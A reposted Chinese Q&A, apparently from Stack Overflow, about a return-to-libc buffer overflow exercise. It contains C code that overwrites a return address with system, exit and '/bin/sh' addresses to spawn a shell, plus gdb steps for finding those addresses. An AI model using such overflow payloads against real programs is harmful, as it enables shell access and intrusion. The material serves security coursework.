gpt4 book ai didi

c - 返回 libc 缓冲区溢出练习问题

转载 作者:太空狗 更新时间:2023-10-29 16:29:06 28 4
gpt4 key购买 nike

我应该想出一个利用“返回 libc 缓冲区溢出”的程序。这是,当执行时,它会干净地退出并弹出一个 SHELL 提示符。该程序在 bash 终端中执行。下面是我的 C 代码:

#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];

char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}

*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;

strcpy(buffer, buf);

return 0;
}

使用 gdb ,我已经能够确定以下内容:

  • “系统”的地址:0x4c4ab0
  • “退出”地址:0x4ba520
  • 字符串“/bin/sh”驻留在内存中:0xbfffff13

我也知道,使用gdb ,将 32 个“A”插入我的缓冲区变量将覆盖返回地址。因此,鉴于系统调用是 4 个字节,我首先在 28 个字节处填充我的内存“泄漏”。在第 28 个字节,我开始我的系统调用,然后退出调用,最后添加我的“/bin/sh”内存位置。

但是,当我运行该程序时,我得到以下信息:

sh: B���: command not found
Segmentation fault (core dumped)

我真的不确定我做错了什么......

[编辑]:我能够通过导出环境变量获得字符串“/bin/sh”:

export MYSHELL="/bin/sh"

最佳答案

您可以在 libc 中搜索/bin/sh 字符串的固定地址。然后在 gdb 中运行你的程序:

> (gdb) break main
>
> (gdb) run
>
> (gdb) print &system
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
>
> (gdb) find &system,+9999999,"/bin/sh"
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search.
> 1 pattern found.

祝你好运。

关于c - 返回 libc 缓冲区溢出练习问题,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/19124095/

28 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com